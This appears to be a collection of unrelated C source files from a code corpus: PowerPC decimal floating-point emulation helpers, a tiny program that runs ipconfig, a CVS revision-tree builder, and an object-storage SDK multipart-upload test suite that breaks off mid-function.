dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ decNumberGetBCD(&dfp.b, digits); \ dfp.t64[0] = dfp.t64[1] = 0; \ N = dfp.b.digits; \ \ for (i = 0; (i < N) && (i < (size)/4); i++) { \ dfp_set_bcd_digit_##size(dfp.t64, digits[N-i-1], i); \ } \ \ if (sp & 2) { \ uint8_t sgn; \ \ if (decNumberIsNegative(&dfp.b)) { \ sgn = 0xD; \ } else { \ sgn = ((sp & 1) ? 0xF : 0xC); \ } \ dfp_set_sign_##size(dfp.t64, sgn); \ } \ \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_DEDPD(ddedpd, 64) DFP_HELPER_DEDPD(ddedpdq, 128) static inline uint8_t dfp_get_bcd_digit_64(uint64_t *t, unsigned n) { return *t >> ((n << 2) & 63) & 15; } static inline uint8_t dfp_get_bcd_digit_128(uint64_t *t, unsigned n) { return t[(n & 0x10) ? HI_IDX : LO_IDX] >> ((n << 2) & 63) & 15; } #define DFP_HELPER_ENBCD(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b, uint32_t s) \ { \ struct PPC_DFP dfp; \ uint8_t digits[32]; \ int n = 0, offset = 0, sgn = 0, nonzero = 0; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ decNumberZero(&dfp.t); \ \ if (s) { \ uint8_t sgnNibble = dfp_get_bcd_digit_##size(dfp.b64, offset++); \ switch (sgnNibble) { \ case 0xD: \ case 0xB: \ sgn = 1; \ break; \ case 0xC: \ case 0xF: \ case 0xA: \ case 0xE: \ sgn = 0; \ break; \ default: \ dfp_set_FPSCR_flag(&dfp, FP_VX | FP_VXCVI, FPSCR_VE); \ return; \ } \ } \ \ while (offset < (size)/4) { \ n++; \ digits[(size)/4-n] = dfp_get_bcd_digit_##size(dfp.b64, offset++); \ if (digits[(size)/4-n] > 10) { \ dfp_set_FPSCR_flag(&dfp, FP_VX | FP_VXCVI, FPSCR_VE); \ return; \ } else { \ nonzero |= (digits[(size)/4-n] > 0); \ } \ } \ \ if (nonzero) { \ decNumberSetBCD(&dfp.t, digits+((size)/4)-n, n); \ } \ \ if (s && sgn) { \ dfp.t.bits |= DECNEG; \ } \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ dfp_set_FPRF_from_FRT(&dfp); \ if ((size) == 64) { \ t[0] = dfp.t64[0]; \ } else if ((size) == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_ENBCD(denbcd, 64) DFP_HELPER_ENBCD(denbcdq, 128) #define DFP_HELPER_XEX(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *b) \ { \ struct PPC_DFP dfp; \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ if (unlikely(decNumberIsSpecial(&dfp.b))) { \ if (decNumberIsInfinite(&dfp.b)) { \ *t = -1; \ } else if (decNumberIsSNaN(&dfp.b)) { \ *t = -3; \ } else if (decNumberIsQNaN(&dfp.b)) { \ *t = -2; \ } else { \ assert(0); \ } \ } else { \ if ((size) == 64) { \ *t = dfp.b.exponent + 398; \ } else if ((size) == 128) { \ *t = dfp.b.exponent + 6176; \ } else { \ assert(0); \ } \ } \ } DFP_HELPER_XEX(dxex, 64) DFP_HELPER_XEX(dxexq, 128) static void dfp_set_raw_exp_64(uint64_t *t, uint64_t raw) { *t &= 0x8003ffffffffffffULL; *t |= (raw << (63-13)); } static void dfp_set_raw_exp_128(uint64_t *t, uint64_t raw) { t[HI_IDX] &= 0x80003fffffffffffULL; t[HI_IDX] |= (raw << (63-17)); } #define DFP_HELPER_IEX(op, size) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *a, uint64_t *b) \ { \ struct PPC_DFP dfp; \ uint64_t raw_qnan, raw_snan, raw_inf, max_exp; \ int bias; \ int64_t exp = *((int64_t *)a); \ \ dfp_prepare_decimal##size(&dfp, 0, b, env); \ \ if ((size) == 64) { \ max_exp = 767; \ raw_qnan = 0x1F00; \ raw_snan = 0x1F80; \ raw_inf = 0x1E00; \ bias = 398; \ } else if ((size) == 128) { \ max_exp = 12287; \ raw_qnan = 0x1f000; \ raw_snan = 0x1f800; \ raw_inf = 0x1e000; \ bias = 6176; \ } else { \ assert(0); \ } \ \ if (unlikely((exp < 0) || (exp > max_exp))) { \ dfp.t64[0] = dfp.b64[0]; \ dfp.t64[1] = dfp.b64[1]; \ if (exp == -1) { \ dfp_set_raw_exp_##size(dfp.t64, raw_inf); \ } else if (exp == -3) { \ dfp_set_raw_exp_##size(dfp.t64, raw_snan); \ } else { \ dfp_set_raw_exp_##size(dfp.t64, raw_qnan); \ } \ } else { \ dfp.t = dfp.b; \ if (unlikely(decNumberIsSpecial(&dfp.t))) { \ dfp.t.bits &= ~DECSPECIAL; \ } \ dfp.t.exponent = exp - bias; \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ } \ if (size == 64) { \ t[0] = dfp.t64[0]; \ } else if (size == 128) { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_IEX(diex, 64) DFP_HELPER_IEX(diexq, 128) static void dfp_clear_lmd_from_g5msb(uint64_t *t) { /* The most significant 5 bits of the PowerPC DFP format combine bits */ /* from the left-most decimal digit (LMD) and the biased exponent. */ /* This routine clears the LMD bits while preserving the exponent */ /* bits. See "Figure 80: Encoding of bits 0:4 of the G field for */ /* Finite Numbers" in the Power ISA for additional details. */ uint64_t g5msb = (*t >> 58) & 0x1F; if ((g5msb >> 3) < 3) { /* LMD in [0-7] ? */ *t &= ~(7ULL << 58); } else { switch (g5msb & 7) { case 0: case 1: g5msb = 0; break; case 2: case 3: g5msb = 0x8; break; case 4: case 5: g5msb = 0x10; break; case 6: g5msb = 0x1E; break; case 7: g5msb = 0x1F; break; } *t &= ~(0x1fULL << 58); *t |= (g5msb << 58); } } #define DFP_HELPER_SHIFT(op, size, shift_left) \ void helper_##op(CPUPPCState *env, uint64_t *t, uint64_t *a, \ uint32_t sh) \ { \ struct PPC_DFP dfp; \ unsigned max_digits = ((size) == 64) ? 16 : 34; \ \ dfp_prepare_decimal##size(&dfp, a, 0, env); \ \ if (sh <= max_digits) { \ \ decNumber shd; \ unsigned special = dfp.a.bits & DECSPECIAL; \ \ if (shift_left) { \ decNumberFromUInt32(&shd, sh); \ } else { \ decNumberFromInt32(&shd, -((int32_t)sh)); \ } \ \ dfp.a.bits &= ~DECSPECIAL; \ decNumberShift(&dfp.t, &dfp.a, &shd, &dfp.context); \ \ dfp.t.bits |= special; \ if (special && (dfp.t.digits >= max_digits)) { \ dfp.t.digits = max_digits - 1; \ } \ \ decimal##size##FromNumber((decimal##size *)dfp.t64, &dfp.t, \ &dfp.context); \ } else { \ if ((size) == 64) { \ dfp.t64[0] = dfp.a64[0] & 0xFFFC000000000000ULL; \ dfp_clear_lmd_from_g5msb(dfp.t64); \ } else { \ dfp.t64[HI_IDX] = dfp.a64[HI_IDX] & \ 0xFFFFC00000000000ULL; \ dfp_clear_lmd_from_g5msb(dfp.t64 + HI_IDX); \ dfp.t64[LO_IDX] = 0; \ } \ } \ \ if ((size) == 64) { \ t[0] = dfp.t64[0]; \ } else { \ t[0] = dfp.t64[HI_IDX]; \ t[1] = dfp.t64[LO_IDX]; \ } \ } DFP_HELPER_SHIFT(dscli, 64, 1) DFP_HELPER_SHIFT(dscliq, 128, 1) DFP_HELPER_SHIFT(dscri, 64, 0) DFP_HELPER_SHIFT(dscriq, 128, 0)
722992.c
#include<stdlib.h> int main() { system("C:\\Windows\\System32\\ipconfig"); return 0; }
204501.c
#include "cvs.h" static Node *table[4096]; static int entries; Node *head_node; static Node *hash_number(cvs_number *n) /* look up the node associated with a specifued CVS release number */ { cvs_number key = *n; Node *p; int hash; int i; if (key.c > 2 && !key.n[key.c - 2]) { key.n[key.c - 2] = key.n[key.c - 1]; key.c--; } if (key.c & 1) key.n[key.c] = 0; for (i = 0, hash = 0; i < key.c - 1; i++) hash += key.n[i]; hash = (hash * 256 + key.n[key.c - 1]) % 4096; for (p = table[hash]; p; p = p->hash_next) { if (p->number.c != key.c) continue; for (i = 0; i < key.c && p->number.n[i] == key.n[i]; i++) ; if (i == key.c) return p; } p = calloc(1, sizeof(Node)); p->number = key; p->hash_next = table[hash]; table[hash] = p; entries++; return p; } static Node *find_parent(cvs_number *n, int depth) /* find the parent node of the specified prefix of a release number */ { cvs_number key = *n; Node *p; int hash; int i; key.c -= depth; for (i = 0, hash = 0; i < key.c - 1; i++) hash += key.n[i]; hash = (hash * 256 + key.n[key.c - 1]) % 4096; for (p = table[hash]; p; p = p->hash_next) { if (p->number.c != key.c) continue; for (i = 0; i < key.c && p->number.n[i] == key.n[i]; i++) ; if (i == key.c) break; } return p; } void hash_version(cvs_version *v) /* intern a version onto the node list */ { char name[CVS_MAX_REV_LEN]; v->node = hash_number(&v->number); if (v->node->v) { fprintf(stderr, "more than one delta with number %s\n", cvs_number_string(&v->node->number, name)); } else { v->node->v = v; } if (v->node->number.c & 1) { fprintf(stderr, "revision with odd depth (%s)\n", cvs_number_string(&v->node->number, name)); } } void hash_patch(cvs_patch *p) /* intern a patch onto the node list */ { char name[CVS_MAX_REV_LEN]; p->node = hash_number(&p->number); if (p->node->p) { fprintf(stderr, "more than one delta with number %s\n", cvs_number_string(&p->node->number, name)); } else { p->node->p = p; } if (p->node->number.c & 1) { fprintf(stderr, "patch with odd depth (%s)\n", cvs_number_string(&p->node->number, name)); } } void hash_branch(cvs_branch *b) /* intern a branch onto the node list */ { b->node = hash_number(&b->number); } void clean_hash(void) /* discard the node list */ { int i; for (i = 0; i < 4096; i++) { Node *p = table[i]; table[i] = NULL; while (p) { Node *q = p->hash_next; free(p); p = q; } } entries = 0; head_node = NULL; } static int compare(const void *a, const void *b) /* total ordering of nodes by associated CVS revision number */ { Node *x = *(Node * const *)a, *y = *(Node * const *)b; int n, i; n = x->number.c; if (n < y->number.c) return -1; if (n > y->number.c) return 1; for (i = 0; i < n; i++) { if (x->number.n[i] < y->number.n[i]) return -1; if (x->number.n[i] > y->number.n[i]) return 1; } return 0; } static void try_pair(Node *a, Node *b) { int n = a->number.c; if (n == b->number.c) { int i; if (n == 2) { a->next = b; b->to = a; return; } for (i = n - 2; i >= 0; i--) if (a->number.n[i] != b->number.n[i]) break; if (i < 0) { a->next = b; a->to = b; return; } } else if (n == 2) { head_node = a; } if ((b->number.c & 1) == 0) { b->starts = 1; /* can the code below ever be needed? */ Node *p = find_parent(&b->number, 1); if (p) p->next = b; } } void build_branches(void) /* set head_node global and build branch links in the node list */ { Node **v = malloc(sizeof(Node *) * entries), **p = v; int i; for (i = 0; i < 4096; i++) { Node *q; for (q = table[i]; q; q = q->hash_next) *p++ = q; } qsort(v, entries, sizeof(Node *), compare); /* only trunk? */ if (v[entries-1]->number.c == 2) head_node = v[entries-1]; for (p = v + entries - 2 ; p >= v; p--) try_pair(p[0], p[1]); for (p = v + entries - 1 ; p >= v; p--) { Node *a = *p, *b = NULL; if (!a->starts) continue; b = find_parent(&a->number, 2); if (!b) { char name[CVS_MAX_REV_LEN]; fprintf(stderr, "no parent for %s\n", cvs_number_string(&a->number, name)); continue; } a->sib = b->down; b->down = a; } free(v); } /* end */
3366.c
#include "CuTest.h" #include "cos_log.h" #include "cos_sys_util.h" #include "cos_string.h" #include "cos_status.h" #include "cos_transport.h" #include "cos_http_io.h" #include "cos_auth.h" #include "cos_utility.h" #include "cos_xml.h" #include "cos_api.h" #include "cos_config.h" #include "cos_test_util.h" extern cos_status_t *cos_get_sorted_uploaded_part(cos_request_options_t *options, const cos_string_t *bucket, const cos_string_t *object, const cos_string_t *upload_id, cos_list_t *complete_part_list, int *part_count); void test_multipart_setup(CuTest *tc) { cos_pool_t *p = NULL; int is_cname = 0; cos_status_t *s = NULL; cos_request_options_t *options = NULL; cos_acl_e cos_acl = COS_ACL_PRIVATE; //create test bucket cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); s = create_test_bucket(options, TEST_BUCKET_NAME, cos_acl); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); } void test_multipart_cleanup(CuTest *tc) { cos_pool_t *p = NULL; int is_cname = 0; cos_string_t bucket; cos_request_options_t *options = NULL; char *object_name = "cos_test_multipart_upload"; char *object_name1 = "cos_test_multipart_upload_from_file"; char *object_name2 = "cos_test_upload_part_copy_dest_object"; char *object_name3 = "cos_test_upload_part_copy_source_object"; char *object_name4 = "cos_test_list_upload_part_with_empty"; char *object_name5 = "test_cos_get_sorted_uploaded_part"; char *object_name6 = "test_cos_get_sorted_uploaded_part_with_empty"; cos_table_t *resp_headers = NULL; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); //delete test object delete_test_object(options, TEST_BUCKET_NAME, object_name); delete_test_object(options, TEST_BUCKET_NAME, object_name1); delete_test_object(options, TEST_BUCKET_NAME, object_name2); delete_test_object(options, TEST_BUCKET_NAME, object_name3); delete_test_object(options, TEST_BUCKET_NAME, object_name4); delete_test_object(options, TEST_BUCKET_NAME, object_name5); delete_test_object(options, TEST_BUCKET_NAME, object_name6); //delete test bucket cos_str_set(&bucket, TEST_BUCKET_NAME); cos_delete_bucket(options, &bucket, &resp_headers); apr_sleep(apr_time_from_sec(3)); cos_pool_destroy(p); } void test_init_abort_multipart_upload(CuTest *tc) { cos_pool_t *p = NULL; char *object_name = "cos_test_abort_multipart_upload"; cos_request_options_t *options = NULL; int is_cname = 0; cos_string_t upload_id; cos_status_t *s = NULL; //test init multipart cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); CuAssertTrue(tc, upload_id.len > 0); CuAssertPtrNotNull(tc, upload_id.data); //abort multipart s = abort_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); printf("test_init_abort_multipart_upload ok\n"); } void test_list_multipart_upload(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name1 = "cos_test_abort_multipart_upload1"; char *object_name2 = "cos_test_abort_multipart_upload2"; int is_cname = 0; cos_request_options_t *options = NULL; cos_string_t upload_id1; cos_string_t upload_id2; cos_status_t *s = NULL; cos_table_t *resp_headers; cos_list_multipart_upload_params_t *params = NULL; char *expect_next_key_marker = "cos_test_abort_multipart_upload1"; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name1, &upload_id1); CuAssertIntEquals(tc, 200, s->code); s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name2, &upload_id2); CuAssertIntEquals(tc, 200, s->code); params = cos_create_list_multipart_upload_params(p); params->max_ret = 1; cos_str_set(&bucket, TEST_BUCKET_NAME); s = cos_list_multipart_upload(options, &bucket, params, &resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 1, params->truncated); CuAssertStrEquals(tc, expect_next_key_marker, params->next_key_marker.data); CuAssertPtrNotNull(tc, resp_headers); cos_list_init(&params->upload_list); cos_str_set(&params->key_marker, params->next_key_marker.data); cos_str_set(&params->upload_id_marker, params->next_upload_id_marker.data); s = cos_list_multipart_upload(options, &bucket, params, &resp_headers); CuAssertIntEquals(tc, 200, s->code); //CuAssertIntEquals(tc, 0, params->truncated); s = abort_test_multipart_upload(options, TEST_BUCKET_NAME, object_name1, &upload_id1); CuAssertIntEquals(tc, 200, s->code); s = abort_test_multipart_upload(options, TEST_BUCKET_NAME, object_name2, &upload_id2); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); printf("test_list_multipart_upload ok\n"); } void test_multipart_upload(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; cos_list_t buffer; cos_table_t *headers = NULL; cos_table_t *upload_part_resp_headers = NULL; cos_list_upload_part_params_t *params = NULL; cos_table_t *list_part_resp_headers = NULL; cos_string_t upload_id; cos_list_t complete_part_list; cos_list_part_content_t *part_content1 = NULL; cos_list_part_content_t *part_content2 = NULL; cos_complete_part_content_t *complete_content1 = NULL; cos_complete_part_content_t *complete_content2 = NULL; cos_table_t *complete_resp_headers = NULL; cos_table_t *head_resp_headers = NULL; int part_num = 1; int part_num1 = 2; char *expect_part_num_marker = "1"; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); headers = cos_table_make(options->pool, 2); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //upload part cos_list_init(&buffer); make_random_body(p, 1000, &buffer); s = cos_upload_part_from_buffer(options, &bucket, &object, &upload_id, part_num, &buffer, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); cos_list_init(&buffer); make_random_body(p, 1000, &buffer); s = cos_upload_part_from_buffer(options, &bucket, &object, &upload_id, part_num1, &buffer, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); //list part params = cos_create_list_upload_part_params(p); params->max_ret = 1; cos_list_init(&complete_part_list); s = cos_list_upload_part(options, &bucket, &object, &upload_id, params, &list_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 1, params->truncated); CuAssertStrEquals(tc, expect_part_num_marker, params->next_part_number_marker.data); CuAssertPtrNotNull(tc, list_part_resp_headers); cos_list_for_each_entry(cos_list_part_content_t, part_content1, &params->part_list, node) { complete_content1 = cos_create_complete_part_content(p); cos_str_set(&complete_content1->part_number, part_content1->part_number.data); cos_str_set(&complete_content1->etag, part_content1->etag.data); cos_list_add_tail(&complete_content1->node, &complete_part_list); } cos_list_init(&params->part_list); cos_str_set(&params->part_number_marker, params->next_part_number_marker.data); s = cos_list_upload_part(options, &bucket, &object, &upload_id, params, &list_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); //CuAssertIntEquals(tc, 0, params->truncated); CuAssertPtrNotNull(tc, list_part_resp_headers); cos_list_for_each_entry(cos_list_part_content_t, part_content2, &params->part_list, node) { complete_content2 = cos_create_complete_part_content(p); cos_str_set(&complete_content2->part_number, part_content2->part_number.data); cos_str_set(&complete_content2->etag, part_content2->etag.data); cos_list_add_tail(&complete_content2->node, &complete_part_list); } //complete multipart s = cos_complete_multipart_upload(options, &bucket, &object, &upload_id, &complete_part_list, headers, &complete_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, complete_resp_headers); //check content type apr_table_clear(headers); s = cos_head_object(options, &bucket, &object, headers, &head_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, head_resp_headers); cos_pool_destroy(p); printf("test_multipart_upload ok\n"); } void test_multipart_upload_from_file(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload_from_file"; char *file_path = "test_upload_part_copy.file"; FILE* fd = NULL; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; cos_upload_file_t *upload_file = NULL; cos_table_t *upload_part_resp_headers = NULL; cos_list_upload_part_params_t *params = NULL; cos_table_t *list_part_resp_headers = NULL; cos_string_t upload_id; cos_list_t complete_part_list; cos_list_part_content_t *part_content1 = NULL; cos_complete_part_content_t *complete_content1 = NULL; cos_table_t *complete_resp_headers = NULL; cos_string_t data; int part_num = 1; int part_num1 = 2; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); // create multipart upload local file make_rand_string(p, 1024 * 1024, &data); fd = fopen(file_path, "w"); CuAssertTrue(tc, fd != NULL); fwrite(data.data, sizeof(data.data[0]), data.len, fd); fclose(fd); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //upload part from file upload_file = cos_create_upload_file(p); cos_str_set(&upload_file->filename, file_path); upload_file->file_pos = 0; upload_file->file_last = 512 * 1024; //200k s = cos_upload_part_from_file(options, &bucket, &object, &upload_id, part_num, upload_file, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); upload_file->file_pos = 512 *1024;//remain content start pos upload_file->file_last = get_file_size(file_path); s = cos_upload_part_from_file(options, &bucket, &object, &upload_id, part_num1, upload_file, &upload_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, upload_part_resp_headers); //list part params = cos_create_list_upload_part_params(p); cos_str_set(&params->part_number_marker, ""); params->max_ret = 10; params->truncated = 0; cos_list_init(&complete_part_list); s = cos_list_upload_part(options, &bucket, &object, &upload_id, params, &list_part_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, 0, params->truncated); CuAssertPtrNotNull(tc, list_part_resp_headers); cos_list_for_each_entry(cos_list_part_content_t, part_content1, &params->part_list, node) { complete_content1 = cos_create_complete_part_content(p); cos_str_set(&complete_content1->part_number, part_content1->part_number.data); cos_str_set(&complete_content1->etag, part_content1->etag.data); cos_list_add_tail(&complete_content1->node, &complete_part_list); } //complete multipart s = cos_complete_multipart_upload(options, &bucket, &object, &upload_id, &complete_part_list, NULL, &complete_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, complete_resp_headers); remove(file_path); cos_pool_destroy(p); printf("test_multipart_upload_from_file ok\n"); } void test_upload_part_copy(CuTest *tc) { cos_pool_t *p = NULL; cos_request_options_t *options = NULL; int is_cname = 0; cos_string_t upload_id; cos_list_upload_part_params_t *list_upload_part_params = NULL; cos_upload_part_copy_params_t *upload_part_copy_params1 = NULL; cos_upload_part_copy_params_t *upload_part_copy_params2 = NULL; cos_table_t *headers = NULL; cos_table_t *query_params = NULL; cos_table_t *resp_headers = NULL; cos_table_t *list_part_resp_headers = NULL; cos_list_t complete_part_list; cos_list_part_content_t *part_content = NULL; cos_complete_part_content_t *complete_content = NULL; cos_table_t *complete_resp_headers = NULL; cos_status_t *s = NULL; int part1 = 1; int part2 = 2; char *local_filename = "test_upload_part_copy.file"; char *download_filename = "test_upload_part_copy.file.download"; char *source_object_name = "cos_test_upload_part_copy_source_object"; char *dest_object_name = "cos_test_upload_part_copy_dest_object"; FILE *fd = NULL; cos_string_t download_file; cos_string_t dest_bucket; cos_string_t dest_object; int64_t range_start1 = 0; int64_t range_end1 = 6000000; int64_t range_start2 = 6000001; int64_t range_end2; cos_string_t data; cos_pool_create(&p, NULL); options = cos_request_options_create(p); // create multipart upload local file make_rand_string(p, 10 * 1024 * 1024, &data); fd = fopen(local_filename, "w"); CuAssertTrue(tc, fd != NULL); fwrite(data.data, sizeof(data.data[0]), data.len, fd); fclose(fd); init_test_request_options(options, is_cname); headers = cos_table_make(p, 0); s = create_test_object_from_file(options, TEST_BUCKET_NAME, source_object_name, local_filename, headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, headers); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, dest_object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); //upload part copy 1 upload_part_copy_params1 = cos_create_upload_part_copy_params(p); cos_str_set(&upload_part_copy_params1->copy_source, "mybucket-1253666666.cn-south.myqcloud.com/cos_test_upload_part_copy_source_object"); cos_str_set(&upload_part_copy_params1->dest_bucket, TEST_BUCKET_NAME); cos_str_set(&upload_part_copy_params1->dest_object, dest_object_name); cos_str_set(&upload_part_copy_params1->upload_id, upload_id.data); upload_part_copy_params1->part_num = part1; upload_part_copy_params1->range_start = range_start1; upload_part_copy_params1->range_end = range_end1; headers = cos_table_make(p, 0); s = cos_upload_part_copy(options, upload_part_copy_params1, headers, &resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, resp_headers); //upload part copy 2 resp_headers = NULL; range_end2 = get_file_size(local_filename) - 1; upload_part_copy_params2 = cos_create_upload_part_copy_params(p); cos_str_set(&upload_part_copy_params2->copy_source, "mybucket-1253666666.cn-south.myqcloud.com/cos_test_upload_part_copy_source_object"); cos_str_set(&upload_part_copy_params2->dest_bucket, TEST_BUCKET_NAME); cos_str_set(&upload_part_copy_params2->dest_object, dest_object_name); cos_str_set(&upload_part_copy_params2->upload_id, upload_id.data); upload_part_copy_params2->part_num = part2; upload_part_copy_params2->range_start = range_start2; upload_part_copy_params2->range_end = range_end2; headers = cos_table_make(p, 0); s = cos_upload_part_copy(options, upload_part_copy_params2, headers, &resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, resp_headers); //list part list_upload_part_params = cos_create_list_upload_part_params(p); list_upload_part_params->max_ret = 10; cos_list_init(&complete_part_list); cos_str_set(&dest_bucket, TEST_BUCKET_NAME); cos_str_set(&dest_object, dest_object_name); s = cos_list_upload_part(options, &dest_bucket, &dest_object, &upload_id, list_upload_part_params, &list_part_resp_headers); cos_list_for_each_entry(cos_list_part_content_t, part_content, &list_upload_part_params->part_list, node) { complete_content = cos_create_complete_part_content(p); cos_str_set(&complete_content->part_number, part_content->part_number.data); cos_str_set(&complete_content->etag, part_content->etag.data); cos_list_add_tail(&complete_content->node, &complete_part_list); } //complete multipart headers = cos_table_make(p, 0); s = cos_complete_multipart_upload(options, &dest_bucket, &dest_object, &upload_id, &complete_part_list, headers, &complete_resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertPtrNotNull(tc, complete_resp_headers); //check upload copy part content equal to local file headers = cos_table_make(p, 0); cos_str_set(&download_file, download_filename); s = cos_get_object_to_file(options, &dest_bucket, &dest_object, headers, query_params, &download_file, &resp_headers); CuAssertIntEquals(tc, 200, s->code); CuAssertIntEquals(tc, get_file_size(local_filename), get_file_size(download_filename)); CuAssertPtrNotNull(tc, resp_headers); remove(download_filename); remove(local_filename); cos_pool_destroy(p); printf("test_upload_part_copy ok\n"); } void test_upload_file_failed_without_uploadid(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload_from_file"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; int part_size = 100*1024; cos_string_t upload_id; cos_string_t filepath; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, "invalid_bucket"); cos_str_set(&object, object_name); cos_str_null(&upload_id); cos_str_set(&filepath, __FILE__); s = cos_upload_file(options, &bucket, &object, &upload_id, &filepath, part_size, NULL); CuAssertIntEquals(tc, 400, s->code); cos_pool_destroy(p); printf("test_upload_file_failed_without_uploadid ok\n"); } void test_upload_file(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload_from_file"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; int part_size = 100 * 1024; cos_string_t upload_id; cos_string_t filepath; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); cos_str_null(&upload_id); cos_str_set(&filepath, __FILE__); s = cos_upload_file(options, &bucket, &object, &upload_id, &filepath, part_size, NULL); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); printf("test_upload_file ok\n"); } void test_upload_file_from_recover(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload_from_file"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; int part_size = 100*1024; cos_string_t upload_id; cos_string_t filepath; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); cos_str_set(&filepath, __FILE__); s = cos_upload_file(options, &bucket, &object, &upload_id, &filepath, part_size, NULL); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); printf("test_upload_file_from_recover ok\n"); } void test_upload_file_from_recover_failed(CuTest *tc) { cos_pool_t *p = NULL; cos_string_t bucket; char *object_name = "cos_test_multipart_upload_from_file"; cos_string_t object; int is_cname = 0; cos_request_options_t *options = NULL; cos_status_t *s = NULL; int part_size = 100*1024; cos_string_t upload_id; cos_string_t filepath; cos_pool_create(&p, NULL); options = cos_request_options_create(p); init_test_request_options(options, is_cname); cos_str_set(&bucket, TEST_BUCKET_NAME); cos_str_set(&object, object_name); //init mulitipart s = init_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); cos_str_set(&filepath, __FILE__); cos_str_set(&bucket, "invalid_bucket"); s = cos_upload_file(options, &bucket, &object, &upload_id, &filepath, part_size, NULL); CuAssertIntEquals(tc, 404, s->code); //abort multipart s = abort_test_multipart_upload(options, TEST_BUCKET_NAME, object_name, &upload_id); CuAssertIntEquals(tc, 200, s->code); cos_pool_destroy(p); 